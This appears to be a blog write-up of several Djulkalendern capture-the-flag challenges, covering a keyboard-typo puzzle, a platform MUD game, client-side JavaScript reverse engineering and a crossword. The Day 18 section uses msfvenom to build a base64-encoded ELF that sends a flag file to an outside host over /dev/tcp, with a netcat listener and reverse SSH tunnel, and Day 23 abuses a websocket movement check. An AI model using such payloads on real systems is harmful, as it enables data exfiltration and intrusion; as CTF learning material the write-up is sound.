app.run(host='0.0.0.0', port=5000)
Here we see that, if a message is posted that starts with an ELF header, it will be executed.
The flag
file contains the text [a single english word]
. This hints towards the fact that we can only get the flag through the live version of the site, hosted at https://cparta.djul.se/.
We also get the following gift
It’s dangerous to go alone! Take this:
1 2 3 4 x=$RANDOM echo $x ssh djulkalendern@37.27.217.134 \ -R$x:localhost:3000 -N
Which gives us a random port number and a command to create a reverse SSH tunnel to the server. This is particularly useful if your local network configuration doesn’t easily allow incoming connections or when you don’t want to set-up ngrok or similar services.
Crafting the ELF
So the objective is to craft an ELF that will be executed on the live server, with the following constraints:
- The ELF must return the contents of the
flag
file - The ELF must be encoded in base64.
- The ELF must be less than 280 characters long.
I first tried to do this manually using various guides online
However, I then found out there’s a tool in metasploit called msfvenom
msfvenom
is a combination of Metasploit’s payload generation (msfpayload
) and encoding tools (msfencode
). It can be used to generate shellcode or executables.
The text also hints us towards this tool
You might want to try something venomous, seeing as they are robots and should not be affected. Or assemble some flat package yourself. However, remember that we are on a budget! It can’t be too big!”
1
msfvenom -p linux/x64/exec CMD="bash -c 'cat flag > /dev/tcp/37.27.217.134/$x'" -f elf -o djulpwn.elf
where
-p
specifies the payload to use, in this caselinux/x64/exec
which executes a command.CMD
is the command that the payload will execute.bash -c 'cat flag > /dev/tcp/37.27.217.134/$x'
is the actual command being executed.bash -c
runs the argument string as a command in a new bash shell.cat flag
Reads the contents of the flag file./dev/tcp/37.27.217.134/$x
redirects the output of cat flag to a TCP connection to the IP address37.27.217.134
on the port specified by the environment variable$x
.
-f elf
specifies the output format: ELF (Executable and Linkable Format) binary-o djulpwn.elf
specifies the output file.
After running the command, we get the djulpwn.elf
file. We can then encode this file in base64 using
1
2
$ base64 djulpwn.elf
f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAzgAAAAAAAAAkAQAAAAAAAAAQAAAAAAAASLgvYmluL3NoAJlQVF9SZmgtY1ReUugyAAAAYmFzaCAtYyAnY2F0IGZsYWcgPiAvZGV2L3RjcC8zNy4yNy4yMTcuMTM0LzEwNTMzJwBWV1ReajtYDwU=
Executing the ELF
Before we send the payload, we need to listen on the port specified by $x
using nc -lvnp 3000
.
After we send the payload, we get the following output.
1
2
Connection from 127.0.0.1:59700
vacancy
The flag thus being vacancy
.
Day 19: To burn or not to burn?
Today’s window gives us a single string of text.
1
k bace bd onr wyite cettwom thst aaklpwpsr ia tye laazeper ti thie gsuot
where the story heavily implies that this was written while drunk.
There are multiple strategies to “de-drunkify” text.
- Manually, by looking at the keyboard layout and trying to find words that make sense.
- Using Word-search regular expressions to find words that match a pattern of surrounding characters
- Using Levenshtein distance to find the closest words in a dictionary
I tried to make a logical sentence manually, while trying to verify some through a Levenshtein distance tool. Note that this challenge took a lot of time!
Below is the correct full sentence.
1
2
3
4
k bace bd onr wyite cettwom thst aaklpwpsr ia tye laazeper ti thie gsuot
. .... ...... ..... ....... .... ......... .. ... ........ .. .... .....
. .... ...... ..... ....... .... ......... .. ... ........ .. .... .....
i have become quite certain that wallpaper is the password to this vault
The flag thus being wallpaper
.
Bonus
You were also able to get the flag itself by inputting aaklpwpsr
into a search engine, whose spell check would correct the word.
This means that using Spell Check APIs, such as Google’s Spell Check API, could be a viable strategy for solving similar challenges.
Day 20: It’s the final count up
The last Friday for this year’s Djulkalendern, which means this is the last MUD. After connecting with netcat, we are presented with the following
Floor 1
1
2
3
4
5
6
7
8
9
10
you are in the starting room of floor 1.
Use <map> to see the map.
If you are stuck, use <restartfloor> to reset all
platforms and paths.
To the west: path (which might have a platform)
You can use 'chill <time>' to wait a specific time.
With map
giving us
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
++++@ E
+ +++
+++ + +
+ P++
++P++B
Legend:
@ marks your current position
S marks the start
E marks the exit
C marks a room with a crank
. marks a normal room
P marks a moving platform
B marks a bridge
+, -, |, marks paths that P can move along.
Using the command chill 1
, the first platform P
connected to player @
moves to the right. If we chill 11
after that, the platform will have moved all the way back next to player @
.
1
2
3
4
5
6
7
8
9
chill 11
The platforms have moved!
map
+++P@ E
+ ++P
+++ + +
+ +++
+++++B
We can then move the player onto the moving platform by using go west
.
1
2
3
4
5
6
7
8
9
10
go west
---------------------------------------
you are standing on a floating platform,
it makes a humming sound.
To the south: path (which might have a platform)
To the east: starting room
To the west: path (which might have a platform)
The platform first has to reach the upper-left corner before it goes back. This means we now have to chill 16
to reach B
.
1
2
3
4
5
+++@S E
+ ++P
+++ + +
+ +++
+++++B
chill 16
1
2
3
4
5
6
7
8
++++S E
+ ++P
+++ + +
+ +++
++++@B
go east
Bridge must be connected to all adjacent paths platforms to function.
So we need both platforms to be connected to the bridge! We can do this by chilling the full length of the left-path with chill 26
, and seeing how the platform moves.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
chill 26
---------------------------------------
you are standing on a floating platform,
it makes a humming sound.
To the east: BRIDGE
To the west: path (which might have a platform)
The platforms have moved!
map
++++S E
+ +++
+++ + +
+ ++P
++++@B
Almost!. Doing it again
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
chill 26
---------------------------------------
you are standing on a floating platform,
it makes a humming sound.
To the east: BRIDGE
To the west: path (which might have a platform)
The platforms have moved!
map
++++S E
+ +++
+++ + +
+ P++
++++@B
Now we can move to the bridge by using go east
and to the next platform with go north
. Finally, chill 4
and go north
to reach the exit.
Floor 2
This floor will be a bit more complicated. We start with the following map.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
+++-+++ E+++
+ + C+ +
+ + P ++P +
+ + + + ? +
+++-+++B+++ +
@ P +
++++++
Legend:
@ marks your current position
S marks the start
E marks the exit
C marks a room with a crank
. marks a normal room
P marks a moving platform
B marks a bridge
+, -, |, marks paths that P can move along.
We first need to learn in which direction the platform moves. By using chill 1
, we can see that the platform moves to the right.
1
2
3
4
5
6
7
+++-+++ E+++
+ + C+ +
+ + + +++ +
+ + P + ? +
+++-+++B++P +
@ + +
P+++++
We learn that the ?
marks a skip. for the 2nd platform’s loop.
We need to find when these 3 platforms synchronize, but first, we need to move the player to the platform. chill 7
and go north
1
2
3
4
5
6
7
+++-+++ E+++
+ + C+ +
+ + + +++ +
+ + + + ? +
@++-+++B++P P
S + +
++++++
To synchronize the platforms, my strategy was to utilize a mixture of observing the Least Common Multiple of the loops, and reaching an ideal ‘state’.
The first platform has a loop of 20, the second 7.
\[\text{LCM}(20, 7) = 140\]with steps of chill 20
and map
, we can see that the second loop can synchronize to the first loop.
1
2
3
4
5
6
7
+++-+++ E+++
+ + C+ +
+ + + +++ P
+ + + + ? +
+++-++@BP++ +
S + +
++++++
The last objective is to make the last loop synchronize with the first two. This is where the crank comes in. The crank can shorten the path of the first loop, and lengthen the path of the second loop.
Using chill 15
, we will be north of the crank room. If we go south
and interact crank
, the map changes to the following.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
interact crank
You pull the crank...
The straight paths have rotated.
Please play this audio for greater immersion:
https://www.youtube.com/watch?v=0jG6lNj2foM
+++|+P+ E+++
+ + @+ +
+ + + +++ +
+ + + P + +
+++|+++B+++ +
S + +
++P+++
Now the left loop isn’t a loop anymore, but a straight path. between walls |
. I honestly bruteforced the solution by a mixture of interacting the crank and taking note of the direction of the platform in the first loop to get to the following ideal state. My log of the commands used to reach this state would be too long for this write-up. If you also participated and have a minimal list of commands, please let me know!
1
2
3
4
5
6
7
+++|+++ E+++
+ + @P +
+ + + +++ +
+ + + + P +
+++|+++B+++ +
S + +
++P+++
Before I did this, I interacted one last time with the crank to synchronize this in the event I missed something.
From this ideal state, go east
and chill 3
to let all platforms reach the bridge.
1
2
3
4
5
6
7
+++-+++ E+++
+ + C+ +
+ + + +++ +
+ + + + ? +
+++-++@BP++ +
S P +
++++++
From here, we can go east
and go north
to get onto the last platform, and chill 14
to reach the exit.
1
2
3
4
5
6
7
8
9
10
11
---------------------------------------
YOU FOUND THE EXIT
---------------------------------------
The word is patent.
_ _
_ __ __ _| |_ ___ _ __ | |_
| '_ \ / _` | __/ _ \ '_ \| __|
| |_) | (_| | || __/ | | | |_
| .__/ \__,_|\__\___|_| |_|\__|
|_|
The flag thus being patent
.
Day 23: Won’t someducky please think of the children!??
For the last challenge, we are given a website with a login page.
Getting the login credentials
Right below the login form is a clickable link ‘Forgot password’. Clicking this link will direct us to /forgor💀
.
Clicking on the big confirmation button takes us to the first section of the challenge: answering questions about Hailey Welch.
If we open the browser’s developer tools, we see the following script in the website’s sources
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
async function verify() {
const q1 = document.getElementById("q1").value;
const q2 = document.getElementById("q2").value;
const q3 = document.getElementById("q3").value;
const q4 = document.getElementById("q4").value;
const q5 = document.getElementById("q5").value;
const q6 = document.getElementById("q6").value;
const q7 = document.getElementById("q7").value;
SKIBIDI_KEY = "fortnite_gyatt";
// Please dont hack this verification, its only for Haliey Welch ok?
let hmm = await fetch("/secure_verify🔒", { method: "POST" });
let verification = await hmm.text();
eval(atob(atob(verification)));
}
The script fetches the verification from the server, decodes it twice, and then evaluates it. The verification is a base64-encoded string that is base64-decoded twice.
If we go from the sources tab to the network tab in the browser’s developer tools, don’t fill in anything, and click on submit verification, we get the following response.
1
Q2lBZ0lDQm1kVzVqZEdsdmJpQjRiM0lvWVN3Z1lpa2dld29nSUNBZ0lDQWdJSEpsZEhWeWJpQmhMbk53YkdsMEtDSWlLUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdMbTFoY0Nnb1l5d2dhU2tnUFQ0Z1UzUnlhVzVuTG1aeWIyMURhR0Z5UTI5a1pTaGpMbU5vWVhKRGIyUmxRWFFvTUNrZ1hpQmlMbU5vWVhKRGIyUmxRWFFvYVNBbElHSXViR1Z1WjNSb0tTa3BDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQXVhbTlwYmlnaUlpazdDaUFnSUNCOUNnb2dJQ0FnWm5WdVkzUnBiMjRnZDNKdmJtY29LU0I3Q2lBZ0lDQWdJQ0FnZEdoeWIzY2dZV3hsY25Rb0lsZFNUMDVISVNCWmIzVWdZWEpsSUc1dmRDQklZV3hwWlhrZ1YyVnNZMmdoSWlrN0NpQWdJQ0I5Q2dvZ0lDQWdhV1lnS0hFeElDRTlJQ0pLYjJodUlpQjhmQ0J4TWlBaFBTQWlURzkzSUZSaGNHVnlJRVpoWkdVZ0tITm9iM1YwYjNWMElFNXBibXBoS1NJcElIZHliMjVuS0NrN0Nnb2dJQ0FnYkdWMElITnJhV0pwWkdscGFXbHBhV2xwYVdscGFTQTlJSGh2Y2loeE1TdHhNaXdnWVhSdllpZ2lXbEp6UVVGVU9FdExSbU00UkdrNFQwaEZPSGhSUlZaRlFWRnNVMU5WTlZWV1ZUVlZWbEZHZGxORk9VeFJRV2M5SWlrcE93b0tJQ0FnSUdabGRHTm9LSE5yYVdKcFpHbHBhV2xwYVdscGFXbHBhU3dnZXlCdFpYUm9iMlE2SUNKUVQxTlVJaUI5S1M1MGFHVnVLQ2h5WlhNcElEMCtJSEpsY3k1MFpYaDBLQ2twTG5Sb1pXNG9LSEpsY3lrZ1BUNGdld29nSUNBZ0lDQWdJR1YyWVd3b1lYUnZZaWh5WlhNcEtUc0tJQ0FnSUgwcE93b2dJQ0Fn
Decoding this twice gives us the following JavaScript code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function xor(a, b) {
return a.split("")
.map((c, i) => String.fromCharCode(c.charCodeAt(0) ^ b.charCodeAt(i % b.length)))
.join("");
}
function wrong() {
throw alert("WRONG! You are not Haliey Welch!");
}
if (q1 != "John" || q2 != "Low Taper Fade (shoutout Ninja)") wrong();
let skibidiiiiiiiiiiii = xor(q1+q2, atob("ZRsAAT8KKFc8Di8OHE8xQEVEAQlSSU5UVU5UVQFvSE9LQAg="));
fetch(skibidiiiiiiiiiiii, { method: "POST" }).then((res) => res.text()).then((res) => {
eval(atob(res));
});
We can see that the answers to the questions are John
and Low Taper Fade (shoutout Ninja)
. The code then XORs these answers with a base64-decoded string, resulting in the endpoint /those_who_know!!!!!!!!!!!!!!!!!!!!
, and evaluates the response again.
If we try to submit the form with the first two answers filled in, we will thus get the following response.
1
CiAgICBsZXQgb21nID0geG9yKGF0b2IoIk5RWVZHUTlKTmdvbSIpLCBTS0lCSURJX0tFWSkKCiAgICBpZiAocTMgIT0gb21nIHx8IHE0ICE9ICJLbmVlIHN1cmdlcnkiKSB3cm9uZygpOwoKICAgIGZ1bmN0aW9uIGFkZChpbnB1dCwga2V5KSB7CiAgICAgICAgcmV0dXJuIGlucHV0LnNwbGl0KCIiKQogICAgICAgICAgICAubWFwKChjLCBpKSA9PiBTdHJpbmcuZnJvbUNoYXJDb2RlKChjLmNoYXJDb2RlQXQoMCkgKyBrZXkuY2hhckNvZGVBdChpICUga2V5Lmxlbmd0aCkpICUgMjU2KSkKICAgICAgICAgICAgLmpvaW4oIiIpOwogICAgfQoKICAgIGxldCBvayA9IGFkZChxNSwgcTQpOwogICAgaWYgKGF0b2IoIm90ZlQyWVhsbGRQWnlBPT0iKSA9PSBvaykgewogICAgICAgICBmZXRjaChxNS5zcGxpdCgiICIpLmpvaW4oIiIpLCB7IG1ldGhvZDogIlBPU1QiIH0pLnRoZW4oKHJlcykgPT4gcmVzLnRleHQoKSkudGhlbigocmVzKSA9PiB7CiAgICAgICAgICAgIGV2YWwoYXRvYihyZXMpKTsKICAgICAgICB9KTsKICAgIH0gZWxzZSB7CiAgICAgICAgd3JvbmcoKTsKICAgIH0KICAgIA==
Decoding this once gives us the following JavaScript code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
let omg = xor(atob("NQYVGQ9JNgom"), SKIBIDI_KEY)
if (q3 != omg || q4 != "Knee surgery") wrong();
function add(input, key) {
return input.split("")
.map((c, i) => String.fromCharCode((c.charCodeAt(0) + key.charCodeAt(i % key.length)) % 256))
.join("");
}
let ok = add(q5, q4);
if (atob("otfT2YXlldPZyA==") == ok) {
fetch(q5.split(" ").join(""), { method: "POST" }).then((res) => res.text()).then((res) => {
eval(atob(res));
});
} else {
wrong();
}
We can see that the answer to question 4 is Knee surgery
. To get the answer for question 3, we need to XOR the base64-decoded string NQYVGQ9JNgom
with the SKIBIDI_KEY
. Going back to the first script, we see that the SKIBIDI_KEY
is fortnite_gyatt
.
1
xor(atob("NQYVGQ9JNgom"), "fortnite_gyatt");
Results in Sigma Boy
.
To get the answers to q5, we first have to examine the add
function.
- Convert the input string into an array of characters.
- For each character
- Get its ASCII value (
c.charCodeAt(0)
) - Get the corresponding key character by cycling through the key (cycling through
key
usingi % key.length
). - Get the ASCII value of the key character (
key.charCodeAt(i % key.length)
) - Add both values and take modulo 256 to keep it in the valid character range.
- Convert back to a character.
- Get its ASCII value (
- Join all transformed characters into a new string.
Since add modifies the input by adding key characters’ ASCII values, we can reverse it by subtracting the key characters’ ASCII values from the output string.
1
2
3
4
5
6
7
function inverse_add(input, key) {
return input.split("")
.map((c, i) =>
String.fromCharCode((c.charCodeAt(0) - key.charCodeAt(i % key.length) + 256) % 256)
)
.join("");
}
Here, instead of adding key.charcodeAt(i % key.length)
, we subtract it. We also add 256
to ensure that the result is positive, and then take modulo 256
to keep it in the valid character range.
Furthermore,
- We know that the answer to q4 is
Knee surgery
. - We know that adding
Knee surgery
to q5 must be equal to the base64-decoded stringotfT2YXlldPZyA==
(which is¢×ÓÙ\x85å\x95ÓÙÈ
).
We can get the value of q5 by using the inverse_add
function.
1
inverse_add(atob("otfT2YXlldPZyA=="), "Knee surgery");
Which returns Winter arc
, and will make a POST subsequent request to /Winterarc
, giving us the final script piece for 6 and 7.
1
2
3
4
5
6
let omg = add(atob("3PL887LZ7QkI"), SKIBIDI_KEY)
if (q6 != omg || q7 != "Those who know") wrong();
let SECRET = xor(atob('CgACDkU7Pj0MPQoGFwx/IA0DQwNOCU9/VQQPRn0DV1UwS1wdD1I='), q6 + q7);
alert("You are really Haliey Welch! Here's your username and password: " + SECRET);
We can see that the answer to question 7 is Those who know
. To get the answer for question 6, we need to add the base64-decoded string 3PL887LZ7QkI
with the SKIBIDI_KEY
a.k.a. fortnite_gyatt
.
1
add(atob("3PL887LZ7QkI"), "fortnite_gyatt")
Results in Bang Bang
.
The answers to the questions are thus as follows.
John
Low Taper Fade (shoutout Ninja)
Sigma Boy
Knee surgery
Winter arc
Bang Bang
Those who know
We can also evaluate the SECRET
ourselves with
1
xor(atob('CgACDkU7Pj0MPQoGFwx/IA0DQwNOCU9/VQQPRn0DV1UwS1wdD1I='), "Bang Bang" + "Those who know");
Resulting in Haliey_Skibidi_Welch f8=4jhf?b92d#3njr
.
Admin page and finding the flag
Filling in the username Haliey_Skibidi_Welch
and password f8=4jhf?b92d#3njr
, we gained access to the admin page. The admin page featured a 2D, top-down, HTML5 canvas grid environment where you were able to see a red background, Christmas trees, and other players (ducks) with a randomly generated username. Through a websocket connection, each time a user emitted a command from their client, it was broadcasted to the other users.
Along with the canvas, there was a chat window where users could send messages to each other. The chat messages were also broadcasted to all users. You could also change your username.
We can observe the HTML5 canvas’ code. From the sources tab, we can see that the relevant code can be found in static/gyattlololololgyatt.js
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
const socket = io(url);
let users = [];
let map = [];
document.addEventListener("keydown", (event) => {
const key = event.key;
// Math.abs(x) <= 1 && Math.abs(y) <= 1
if (key === "ArrowUp" || key.toLowerCase() === "w") {
socket.emit("move", { x: 0, y: -1 });
} else if (key === "ArrowDown" || key.toLowerCase() === "s") {
socket.emit("move", { x: 0, y: 1 });
} else if (key === "ArrowLeft" || key.toLowerCase() === "a") {
socket.emit("move", { x: -1, y: 0 });
} else if (key === "ArrowRight" || key.toLowerCase() === "d") {
socket.emit("move", { x: 1, y: 0 });
}
//todo: implement "interact" event
});
socket.on("game", (data) => {
users = data.users;
map = data.map;
const chat = document.getElementById("chat");
data.chat.forEach((c) => {
const child = document.createElement("p");
child.innerText = `${c.user}: ${c.message}`;
chat.appendChild(child);
});
chat.scrollTop = chat.scrollHeight;
});
socket.on("users", (data) => {
users = data.users;
});
socket.on("chat", (data) => {
const chat = document.getElementById("chat");
chat.innerHTML = "";
data.chat.forEach((c) => {
const child = document.createElement("p");
child.innerText = `${c.user}: ${c.message}`;
chat.appendChild(child);
});
chat.scrollTop = chat.scrollHeight;
});
socket.on("rip", (data) => {
alert(data.message);
});
socket.on("win", () => {
console.log("hawk tuah");
});
const canvas = document.getElementById("canvas");
const ctx = canvas.getContext("2d");
ctx.font = "10px serif";
ctx.textAlign = "center";
function changeUsername() {
const name = document.getElementById("username").value;
socket.emit("username", { name });
}
function chat() {
const message = document.getElementById("message").value;
document.getElementById("message").value = "";
socket.emit("chat", { message });
}
function drawUsers() {
ctx.fillStyle = "white";
users.forEach((user) => {
drawDuck(user.x * 10, user.y * 10, user.name);
});
}
function drawDuck(x, y, name) {
ctx.fillStyle = "yellow";
ctx.fillRect(x + 2, y + 2, 6, 6);
ctx.fillStyle = "orange";
ctx.fillRect(x + 3, y + 8, 1, 2);
ctx.fillRect(x + 6, y + 8, 1, 2);
ctx.fillRect(x + 4, y + 5, 2, 1);
ctx.fillStyle = "black";
ctx.fillRect(x + 3, y + 4, 1, 1);
ctx.fillRect(x + 6, y + 4, 1, 1);
ctx.fillText(name, x + 6, y);
}
function drawMap() {
ctx.fillStyle = "black";
map.forEach((cell) => {
switch (cell.type) {
case "wall":
ctx.fillStyle = "black";
break;
case "wood":
ctx.fillStyle = "brown";
break;
case "leaf":
ctx.fillStyle = "green";
break;
case "star":
ctx.fillStyle = "yellow";
break;
case "hawk_tuah":
ctx.fillStyle = "blue";
break;
default:
ctx.fillStyle = "black";
break;
}
ctx.fillRect(cell.x * 10, cell.y * 10, 10, 10);
});
}
function draw() {
ctx.clearRect(0, 0, 500, 500);
drawUsers();
drawMap();
requestAnimationFrame(draw);
}
draw();
By observing the code, we learn the following:
- The origin of the canvas is in the top-left corner, similar to other 2D canvas environments.
- The
interact
event is not implemented on the client-side yet, but possible already works on the server-side. - There are global objects
users
andmap
that are updated when the server broadcasts new data.map
is a 1D array representing the map, with a length of 390 and each cell having the following propertiesx
andy
coordinatestype
which can be"wall"
,"wood"
,"leaf"
,"star"
, or"hawk_tuah"
interactable
which can betrue
orfalse
can_collide
which can betrue
orfalse
- A cell type
hawk_tuah
exists, which should be colored as"blue"
on the map. However, we don’t see any blue cells on the map.- If we
filter
themap
array on theinteractable
property, we find one object of typehawk_tuah
.
- The
hawk_tuah
cell is located atx = 349, y = -211
, which is outside the bounds of the map.
- If we
- The comment
// Math.abs(x) <= 1 && Math.abs(y) <= 1
in thekeydown
event listener suggests that the player can only move one step at a time as a check on the server-side.
Using socket.emit
, we can manually interact with the server. We were able to observe these broadcasts by finding the websocket connection in Chrome’s Developer Tools -> Network tab -> WS connection -> Messages.
After some testing, I found you can get outside of bounds by moving to the upper-left corner of the map and manually emitting a move command with $x = -1, y = -1$.
This works because it still satisfies the condition
\[\left|x\right| \leq 1 \land \left|y\right| \leq 1\]1
socket.emit("move", { x: -1, y: -1 });
But how do we get to the flag without being able to see ourselves on the map?
Similar to Bonus: Gaining superuser access on the JS Linux terminal, we can override the draw loop of the game’s client-side code to log the position of the player to the console. Naturally, this will execute multiple times per second.
1
2
3
4
5
6
7
8
9
10
function drawUsers() {
ctx.fillStyle = "white";
users.forEach((user) => {
drawDuck(user.x * 10, user.y * 10, user.name);
if (user.name === "<my name>") {
console.log(user.x, user.y);
}
});
}
Now we can use the arrow keys to reach \(x = 349, y = -211\), where the flag is located.
Finally, we interact in the flag
1
socket.emit("interact");
The flag thus being discombobulated
.
Bonus
I think it should be possible to transform the map drawing to include negative $y$ coordinates, which would allow us to see the flag. However, considering the time constraints, I opted for the above solution.
Day 24: Voting matters
Similar to last year, the last day doesn’t count towards any leaderboard points. However, this time we are given a cryptic crossword.
The solution to the crossword is given below.
The flag thus being lockout
.
Completion times
# | Solved at | Weighted | Unweighted |
---|---|---|---|
-1 | 19/11 19:10:45 | 0 | 0 |
2 | 2/12 14:03:28 | 3 | 3 |
3 | 3/12 14:25:59 | 3 | 3 |
4 | 4/12 13:53:47 | 2 | 2 |
5 | 5/12 13:59:43 | 2 | 2 |
6 | 6/12 12:28:06 | 0 | 0 |
9 | 9/12 13:07:26 | 4 | 2 |
10 | 10/12 12:22:40 | 0 | 0 |
11 | 11/12 13:50:07 | 4 | 2 |
12 | 12/12 14:42:31 | 6 | 3 |
13 | 13/12 13:59:20 | 4 | 2 |
14 | 16/12 00:17:41 | 0 | 0 |
16 | 16/12 13:56:13 | 6 | 2 |
17 | 17/12 14:04:59 | 9 | 3 |
18 | 18/12 16:35:20 | 12 | 4 |
19 | 19/12 13:47:39 | 6 | 2 |
20 | 20/12 13:26:38 | 6 | 2 |
23 | 23/12 14:32:16 | 9 | 3 |
24 | 24/12 17:31:29 | 0 | 0 |
Final | Rank 38 | 76 | 35 |